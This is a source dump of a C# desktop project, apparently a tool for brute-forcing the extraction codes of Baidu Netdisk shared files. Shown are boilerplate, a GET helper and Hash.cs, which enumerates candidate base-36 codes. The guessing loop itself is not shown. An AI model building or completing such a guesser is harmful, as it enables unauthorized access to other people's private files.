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\r\n        m10LB/oAAAAASUVORK5CYII=\r\n</value>\r\n  </data>\r\n</root>"
  },
  {
    "path": "TestPassword V1.8.0.5/TestPassword/Program.cs",
    "content": "﻿using System;\r\nusing System.Windows.Forms;\r\n\r\nnamespace zgcwkj\r\n{\r\n    internal static class Program\r\n    {\r\n        /// <summary>\r\n        /// 应用程序的主入口点。\r\n        /// </summary>\r\n        [STAThread]\r\n        private static void Main()\r\n        {\r\n            Application.EnableVisualStyles();\r\n            Application.SetCompatibleTextRenderingDefault(false);\r\n            Application.Run(new Main());\r\n        }\r\n    }\r\n}"
  },
  {
    "path": "TestPassword V1.8.0.5/TestPassword/Properties/AssemblyInfo.cs",
    "content": "﻿using System.Reflection;\r\nusing System.Runtime.InteropServices;\r\n\r\n// 有关程序集的一般信息由以下\r\n// 控制。更改这些特性值可修改\r\n// 与程序集关联的信息。\r\n[assembly: AssemblyTitle(\"百度网盘分享文件密码测试器\")]\r\n[assembly: AssemblyDescription(\"百度网盘分享文件密码进行无穷测试工具\")]\r\n[assembly: AssemblyConfiguration(\"\")]\r\n[assembly: AssemblyCompany(\"zgcwkj\")]\r\n[assembly: AssemblyProduct(\"百度网盘分享文件密码测试器\")]\r\n[assembly: AssemblyCopyright(\"Copyright ©  2018\")]\r\n[assembly: AssemblyTrademark(\"zgcwkj\")]\r\n[assembly: AssemblyCulture(\"\")]\r\n\r\n//将 ComVisible 设置为 false 将使此程序集中的类型\r\n//对 COM 组件不可见。  如果需要从 COM 访问此程序集中的类型，\r\n//请将此类型的 ComVisible 特性设置为 true。\r\n[assembly: ComVisible(false)]\r\n\r\n// 如果此项目向 COM 公开，则下列 GUID 用于类型库的 ID\r\n[assembly: Guid(\"ac42684f-60e0-464c-881d-b679da8d8a7b\")]\r\n\r\n// 程序集的版本信息由下列四个值组成:\r\n//\r\n//      主版本\r\n//      次版本\r\n//      生成号\r\n//      修订号\r\n//\r\n//可以指定所有这些值，也可以使用“生成号”和“修订号”的默认值，\r\n// 方法是按如下所示使用“*”: :\r\n// [assembly: AssemblyVersion(\"1.0.*\")]\r\n[assembly: AssemblyVersion(\"1.8.0.5\")]\r\n[assembly: AssemblyFileVersion(\"1.8.0.5\")]"
  },
  {
    "path": "TestPassword V1.8.0.5/TestPassword/Properties/Resources.Designer.cs",
    "content": "﻿//------------------------------------------------------------------------------\r\n// <auto-generated>\r\n//     此代码由工具生成。\r\n//     运行时版本:4.0.30319.42000\r\n//\r\n//     对此文件的更改可能会导致不正确的行为，并且如果\r\n//     重新生成代码，这些更改将会丢失。\r\n// </auto-generated>\r\n//------------------------------------------------------------------------------\r\n\r\nnamespace zgcwkj.Properties {\r\n    using System;\r\n    \r\n    \r\n    /// <summary>\r\n    ///   一个强类型的资源类，用于查找本地化的字符串等。\r\n    /// </summary>\r\n    // 此类是由 StronglyTypedResourceBuilder\r\n    // 类通过类似于 ResGen 或 Visual Studio 的工具自动生成的。\r\n    // 若要添加或移除成员，请编辑 .ResX 文件，然后重新运行 ResGen\r\n    // (以 /str 作为命令选项)，或重新生成 VS 项目。\r\n    [global::System.CodeDom.Compiler.GeneratedCodeAttribute(\"System.Resources.Tools.StronglyTypedResourceBuilder\", \"4.0.0.0\")]\r\n    [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]\r\n    [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]\r\n    internal class Resources {\r\n        \r\n        private static global::System.Resources.ResourceManager resourceMan;\r\n        \r\n        private static global::System.Globalization.CultureInfo resourceCulture;\r\n        \r\n        [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute(\"Microsoft.Performance\", \"CA1811:AvoidUncalledPrivateCode\")]\r\n        internal Resources() {\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   返回此类使用的缓存的 ResourceManager 实例。\r\n        /// </summary>\r\n        [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]\r\n        internal static global::System.Resources.ResourceManager ResourceManager {\r\n            get {\r\n                if (object.ReferenceEquals(resourceMan, null)) {\r\n                    global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager(\"zgcwkj.Properties.Resources\", typeof(Resources).Assembly);\r\n                    resourceMan = temp;\r\n                }\r\n                return resourceMan;\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   使用此强类型资源类，为所有资源查找\r\n        ///   重写当前线程的 CurrentUICulture 属性。\r\n        /// </summary>\r\n        [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]\r\n        internal static global::System.Globalization.CultureInfo Culture {\r\n            get {\r\n                return resourceCulture;\r\n            }\r\n            set {\r\n                resourceCulture = value;\r\n            }\r\n        }\r\n    }\r\n}\r\n"
  },
  {
    "path": "TestPassword V1.8.0.5/TestPassword/Properties/Resources.resx",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<root>\r\n  <!-- \r\n    Microsoft ResX Schema \r\n    \r\n    Version 2.0\r\n    \r\n    The primary goals of this format is to allow a simple XML format \r\n    that is mostly human readable. The generation and parsing of the \r\n    various data types are done through the TypeConverter classes \r\n    associated with the data types.\r\n    \r\n    Example:\r\n    \r\n    ... ado.net/XML headers & schema ...\r\n    <resheader name=\"resmimetype\">text/microsoft-resx</resheader>\r\n    <resheader name=\"version\">2.0</resheader>\r\n    <resheader name=\"reader\">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>\r\n    <resheader name=\"writer\">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>\r\n    <data name=\"Name1\"><value>this is my long string</value><comment>this is a comment</comment></data>\r\n    <data name=\"Color1\" type=\"System.Drawing.Color, System.Drawing\">Blue</data>\r\n    <data name=\"Bitmap1\" mimetype=\"application/x-microsoft.net.object.binary.base64\">\r\n        <value>[base64 mime encoded serialized .NET Framework object]</value>\r\n    </data>\r\n    <data name=\"Icon1\" type=\"System.Drawing.Icon, System.Drawing\" mimetype=\"application/x-microsoft.net.object.bytearray.base64\">\r\n        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>\r\n        <comment>This is a comment</comment>\r\n    </data>\r\n                \r\n    There are any number of \"resheader\" rows that contain simple \r\n    name/value pairs.\r\n    \r\n    Each data row contains a name, and value. The row also contains a \r\n    type or mimetype. Type corresponds to a .NET class that support \r\n    text/value conversion through the TypeConverter architecture. \r\n    Classes that don't support this are serialized and stored with the \r\n    mimetype set.\r\n    \r\n    The mimetype is used for serialized objects, and tells the \r\n    ResXResourceReader how to depersist the object. This is currently not \r\n    extensible. For a given mimetype the value must be set accordingly:\r\n    \r\n    Note - application/x-microsoft.net.object.binary.base64 is the format \r\n    that the ResXResourceWriter will generate, however the reader can \r\n    read any of the formats listed below.\r\n    \r\n    mimetype: application/x-microsoft.net.object.binary.base64\r\n    value   : The object must be serialized with \r\n            : System.Serialization.Formatters.Binary.BinaryFormatter\r\n            : and then encoded with base64 encoding.\r\n    \r\n    mimetype: application/x-microsoft.net.object.soap.base64\r\n    value   : The object must be serialized with \r\n            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter\r\n            : and then encoded with base64 encoding.\r\n\r\n    mimetype: application/x-microsoft.net.object.bytearray.base64\r\n    value   : The object must be serialized into a byte array \r\n            : using a System.ComponentModel.TypeConverter\r\n            : and then encoded with base64 encoding.\r\n    -->\r\n  <xsd:schema id=\"root\" xmlns=\"\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:msdata=\"urn:schemas-microsoft-com:xml-msdata\">\r\n    <xsd:element name=\"root\" msdata:IsDataSet=\"true\">\r\n      <xsd:complexType>\r\n        <xsd:choice maxOccurs=\"unbounded\">\r\n          <xsd:element name=\"metadata\">\r\n            <xsd:complexType>\r\n              <xsd:sequence>\r\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" />\r\n              </xsd:sequence>\r\n              <xsd:attribute name=\"name\" type=\"xsd:string\" />\r\n              <xsd:attribute name=\"type\" type=\"xsd:string\" />\r\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" />\r\n            </xsd:complexType>\r\n          </xsd:element>\r\n          <xsd:element name=\"assembly\">\r\n            <xsd:complexType>\r\n              <xsd:attribute name=\"alias\" type=\"xsd:string\" />\r\n              <xsd:attribute name=\"name\" type=\"xsd:string\" />\r\n            </xsd:complexType>\r\n          </xsd:element>\r\n          <xsd:element name=\"data\">\r\n            <xsd:complexType>\r\n              <xsd:sequence>\r\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\r\n                <xsd:element name=\"comment\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"2\" />\r\n              </xsd:sequence>\r\n              <xsd:attribute name=\"name\" type=\"xsd:string\" msdata:Ordinal=\"1\" />\r\n              <xsd:attribute name=\"type\" type=\"xsd:string\" msdata:Ordinal=\"3\" />\r\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" msdata:Ordinal=\"4\" />\r\n            </xsd:complexType>\r\n          </xsd:element>\r\n          <xsd:element name=\"resheader\">\r\n            <xsd:complexType>\r\n              <xsd:sequence>\r\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\r\n              </xsd:sequence>\r\n              <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" />\r\n            </xsd:complexType>\r\n          </xsd:element>\r\n        </xsd:choice>\r\n      </xsd:complexType>\r\n    </xsd:element>\r\n  </xsd:schema>\r\n  <resheader name=\"resmimetype\">\r\n    <value>text/microsoft-resx</value>\r\n  </resheader>\r\n  <resheader name=\"version\">\r\n    <value>2.0</value>\r\n  </resheader>\r\n  <resheader name=\"reader\">\r\n    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\r\n  </resheader>\r\n  <resheader name=\"writer\">\r\n    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\r\n  </resheader>\r\n</root>"
  },
  {
    "path": "TestPassword V1.8.0.5/TestPassword/Properties/Settings.Designer.cs",
    "content": "﻿//------------------------------------------------------------------------------\r\n// <auto-generated>\r\n//     此代码由工具生成。\r\n//     运行时版本:4.0.30319.42000\r\n//\r\n//     对此文件的更改可能会导致不正确的行为，并且如果\r\n//     重新生成代码，这些更改将会丢失。\r\n// </auto-generated>\r\n//------------------------------------------------------------------------------\r\n\r\nnamespace zgcwkj.Properties {\r\n    \r\n    \r\n    [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]\r\n    [global::System.CodeDom.Compiler.GeneratedCodeAttribute(\"Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator\", \"14.0.0.0\")]\r\n    internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase {\r\n        \r\n        private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));\r\n        \r\n        public static Settings Default {\r\n            get {\r\n                return defaultInstance;\r\n            }\r\n        }\r\n    }\r\n}\r\n"
  },
  {
    "path": "TestPassword V1.8.0.5/TestPassword/Properties/Settings.settings",
    "content": "﻿<?xml version='1.0' encoding='utf-8'?>\r\n<SettingsFile xmlns=\"http://schemas.microsoft.com/VisualStudio/2004/01/settings\" CurrentProfile=\"(Default)\">\r\n  <Profiles>\r\n    <Profile Name=\"(Default)\" />\r\n  </Profiles>\r\n  <Settings />\r\n</SettingsFile>\r\n"
  },
  {
    "path": "TestPassword V1.8.0.5/TestPassword/StaticClass.cs",
    "content": "﻿using System;\r\nusing System.IO;\r\nusing System.Net;\r\nusing System.Text;\r\n\r\nnamespace zgcwkj\r\n{\r\n    /// <summary>\r\n    /// 静态类\r\n    /// </summary>\r\n    public static class StaticClass\r\n    {\r\n        #region 静态字符串\r\n\r\n        /// <summary>\r\n        /// 线程状态\r\n        /// </summary>\r\n        public static bool status { get; set; }\r\n\r\n        /// <summary>\r\n        /// 目标连接\r\n        /// </summary>\r\n        public static string url { get; set; }\r\n\r\n        /// <summary>\r\n        /// 存放的路径\r\n        /// </summary>\r\n        public static string file { get; set; }\r\n\r\n        #endregion 静态字符串\r\n\r\n        #region 静态方法\r\n\r\n        /// <summary>\r\n        /// Get请求\r\n        /// </summary>\r\n        public static string HttpGet(string Url)\r\n        {\r\n            HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);\r\n            request.Method = \"GET\";\r\n            request.ContentType = \"text/html;charset=UTF-8\";\r\n\r\n            try\r\n            {\r\n                HttpWebResponse response = (HttpWebResponse)request.GetResponse();\r\n                StreamReader myStreamReader = new StreamReader(response.GetResponseStream(), Encoding.UTF8);\r\n                string retString = myStreamReader.ReadToEnd();\r\n                myStreamReader.Close();\r\n                return retString;\r\n            }\r\n            catch (Exception e)\r\n            {\r\n                return e.Message;\r\n            }\r\n        }\r\n\r\n        #endregion 静态方法\r\n    }\r\n}"
  },
  {
    "path": "TestPassword V1.8.0.5/TestPassword/TestPassword.csproj",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<Project ToolsVersion=\"14.0\" DefaultTargets=\"Build\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\r\n  <Import Project=\"$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props\" Condition=\"Exists('$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props')\" />\r\n  <PropertyGroup>\r\n    <Configuration Condition=\" '$(Configuration)' == '' \">Debug</Configuration>\r\n    <Platform Condition=\" '$(Platform)' == '' \">AnyCPU</Platform>\r\n    <ProjectGuid>{AC42684F-60E0-464C-881D-B679DA8D8A7B}</ProjectGuid>\r\n    <OutputType>WinExe</OutputType>\r\n    <AppDesignerFolder>Properties</AppDesignerFolder>\r\n    <RootNamespace>zgcwkj</RootNamespace>\r\n    <AssemblyName>TestPassword</AssemblyName>\r\n    <TargetFrameworkVersion>v4.0</TargetFrameworkVersion>\r\n    <FileAlignment>512</FileAlignment>\r\n  </PropertyGroup>\r\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' \">\r\n    <PlatformTarget>AnyCPU</PlatformTarget>\r\n    <DebugSymbols>true</DebugSymbols>\r\n    <DebugType>full</DebugType>\r\n    <Optimize>false</Optimize>\r\n    <OutputPath>bin\\Debug\\</OutputPath>\r\n    <DefineConstants>DEBUG;TRACE</DefineConstants>\r\n    <ErrorReport>prompt</ErrorReport>\r\n    <WarningLevel>4</WarningLevel>\r\n  </PropertyGroup>\r\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' \">\r\n    <PlatformTarget>AnyCPU</PlatformTarget>\r\n    <DebugType>pdbonly</DebugType>\r\n    <Optimize>true</Optimize>\r\n    <OutputPath>bin\\Release\\</OutputPath>\r\n    <DefineConstants>TRACE</DefineConstants>\r\n    <ErrorReport>prompt</ErrorReport>\r\n    <WarningLevel>4</WarningLevel>\r\n  </PropertyGroup>\r\n  <PropertyGroup>\r\n    <ApplicationIcon>ico.ico</ApplicationIcon>\r\n  </PropertyGroup>\r\n  <ItemGroup>\r\n    <Reference Include=\"System\" />\r\n    <Reference Include=\"System.Core\" />\r\n    <Reference Include=\"System.Xml.Linq\" />\r\n    <Reference Include=\"System.Data.DataSetExtensions\" />\r\n    <Reference Include=\"Microsoft.CSharp\" />\r\n    <Reference Include=\"System.Data\" />\r\n    <Reference Include=\"System.Deployment\" />\r\n    <Reference Include=\"System.Drawing\" />\r\n    <Reference Include=\"System.Windows.Forms\" />\r\n    <Reference Include=\"System.Xml\" />\r\n  </ItemGroup>\r\n  <ItemGroup>\r\n    <Compile Include=\"HttpTest.cs\" />\r\n    <Compile Include=\"Hash.cs\" />\r\n    <Compile Include=\"HttpThread.cs\" />\r\n    <Compile Include=\"Main.cs\">\r\n      <SubType>Form</SubType>\r\n    </Compile>\r\n    <Compile Include=\"Main.Designer.cs\">\r\n      <DependentUpon>Main.cs</DependentUpon>\r\n    </Compile>\r\n    <Compile Include=\"Program.cs\" />\r\n    <Compile Include=\"Properties\\AssemblyInfo.cs\" />\r\n    <Compile Include=\"StaticClass.cs\" />\r\n    <EmbeddedResource Include=\"Main.resx\">\r\n      <DependentUpon>Main.cs</DependentUpon>\r\n    </EmbeddedResource>\r\n    <EmbeddedResource Include=\"Properties\\Resources.resx\">\r\n      <Generator>ResXFileCodeGenerator</Generator>\r\n      <LastGenOutput>Resources.Designer.cs</LastGenOutput>\r\n      <SubType>Designer</SubType>\r\n    </EmbeddedResource>\r\n    <Compile Include=\"Properties\\Resources.Designer.cs\">\r\n      <AutoGen>True</AutoGen>\r\n      <DependentUpon>Resources.resx</DependentUpon>\r\n      <DesignTime>True</DesignTime>\r\n    </Compile>\r\n    <None Include=\"Properties\\Settings.settings\">\r\n      <Generator>SettingsSingleFileGenerator</Generator>\r\n      <LastGenOutput>Settings.Designer.cs</LastGenOutput>\r\n    </None>\r\n    <Compile Include=\"Properties\\Settings.Designer.cs\">\r\n      <AutoGen>True</AutoGen>\r\n      <DependentUpon>Settings.settings</DependentUpon>\r\n      <DesignTimeSharedInput>True</DesignTimeSharedInput>\r\n    </Compile>\r\n  </ItemGroup>\r\n  <ItemGroup>\r\n    <Content Include=\"ico.ico\" />\r\n  </ItemGroup>\r\n  <Import Project=\"$(MSBuildToolsPath)\\Microsoft.CSharp.targets\" />\r\n  <!-- To modify your build process, add your task inside one of the targets below and uncomment it. \r\n       Other similar extension points exist, see Microsoft.Common.targets.\r\n  <Target Name=\"BeforeBuild\">\r\n  </Target>\r\n  <Target Name=\"AfterBuild\">\r\n  </Target>\r\n  -->\r\n</Project>"
  },
  {
    "path": "TestPassword V1.8.0.5/TestPassword.sln",
    "content": "﻿\r\nMicrosoft Visual Studio Solution File, Format Version 12.00\r\n# Visual Studio 14\r\nVisualStudioVersion = 14.0.23107.0\r\nMinimumVisualStudioVersion = 10.0.40219.1\r\nProject(\"{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}\") = \"TestPassword\", \"TestPassword\\TestPassword.csproj\", \"{AC42684F-60E0-464C-881D-B679DA8D8A7B}\"\r\nEndProject\r\nGlobal\r\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\r\n\t\tDebug|Any CPU = Debug|Any CPU\r\n\t\tRelease|Any CPU = Release|Any CPU\r\n\tEndGlobalSection\r\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\r\n\t\t{AC42684F-60E0-464C-881D-B679DA8D8A7B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU\r\n\t\t{AC42684F-60E0-464C-881D-B679DA8D8A7B}.Debug|Any CPU.Build.0 = Debug|Any CPU\r\n\t\t{AC42684F-60E0-464C-881D-B679DA8D8A7B}.Release|Any CPU.ActiveCfg = Release|Any CPU\r\n\t\t{AC42684F-60E0-464C-881D-B679DA8D8A7B}.Release|Any CPU.Build.0 = Release|Any CPU\r\n\tEndGlobalSection\r\n\tGlobalSection(SolutionProperties) = preSolution\r\n\t\tHideSolutionNode = FALSE\r\n\tEndGlobalSection\r\nEndGlobal\r\n"
  },
  {
    "path": "TestPassword V1.8.0.6/TestPassword/Hash.cs",
    "content": "﻿using System;\r\n\r\nnamespace zgcwkj\r\n{\r\n    public static class Hash\r\n    {\r\n        //哈希类 36进制\r\n        //有效哈希[10000000,11679615]\r\n\r\n        #region 只支持4位 By MXWXZ\r\n\r\n        public static string HashTo4Str(int hash)\r\n        {\r\n            string ret = \"\";\r\n            hash -= 10000000;\r\n            while (hash > 0)\r\n            {\r\n                ret += Hash2Char(hash % 36);\r\n                hash /= 36;\r\n            }\r\n            if (ret.Length == 3) ret += \"0\";//前导零\r\n            if (ret.Length == 2) ret += \"00\";\r\n            if (ret.Length == 1) ret += \"000\";\r\n            if (ret.Length == 0) ret += \"0000\";\r\n            return reverse(ret);\r\n        }\r\n\r\n        public static int StrTo4Hash(string str)\r\n        {\r\n            int ret = 0;\r\n            ret += Char2Hash(str[0]) * 46656;\r\n            ret += Char2Hash(str[1]) * 1296;\r\n            ret += Char2Hash(str[2]) * 36;\r\n            ret += Char2Hash(str[3]);\r\n            ret += 10000000;//防止前导零\r\n            return ret;\r\n        }\r\n\r\n        #endregion 只支持4位 By MXWXZ\r\n\r\n        #region 只支持6位 By zgcwkj\r\n\r\n        public static string HashTo6Str(int hash)\r\n        {\r\n            string ret = \"\";\r\n            hash -= 100000;\r\n            while (hash > 0)\r\n            {\r\n                ret += Hash2Char(hash % 36);\r\n                hash /= 36;\r\n            }\r\n            if (ret.Length == 5) ret += \"0\";//前导零\r\n            if (ret.Length == 4) ret += \"00\";\r\n            if (ret.Length == 3) ret += \"000\";\r\n            if (ret.Length == 2) ret += \"0000\";\r\n            if (ret.Length == 1) ret += \"00000\";\r\n            if (ret.Length == 0) ret += \"000000\";\r\n            return reverse(ret);\r\n        }\r\n\r\n        public static int StrTo6Hash(string str)\r\n        {\r\n            int ret = 0;\r\n            ret += Char2Hash(str[0]) * 60466176;\r\n            ret += Char2Hash(str[1]) * 1679616;\r\n            ret += Char2Hash(str[2]) * 46656;\r\n            ret += Char2Hash(str[3]) * 1296;\r\n            ret += Char2Hash(str[4]) * 36;\r\n            ret += Char2Hash(str[5]);\r\n            ret += 100000;//防止前导零\r\n            return ret;\r\n        }\r\n\r\n        #endregion 只支持6位 By zgcwkj\r\n\r\n        private static int Char2Hash(char c)\r\n        {\r\n            if (c >= '0' && c <= '9') return c - '0';\r\n            else return c - 'a' + 10;\r\n        }\r\n\r\n        private static char Hash2Char(int hash)\r\n        {\r\n            if (hash >= 0 && hash <= 9) return (char)('0' + hash);\r\n            else return (char)('a' + hash - 10);\r\n        }\r\n\r\n        private static string reverse(string str)\r\n        {\r\n            char[] arr = str.ToCharArray();\r\n            Array.Reverse(arr);\r\n            return new string(arr);\r\n        }\r\n    }\r\n}"
  },
  {
    "path": "TestPassword V1.8.0.6/TestPassword/HttpHelp.cs",
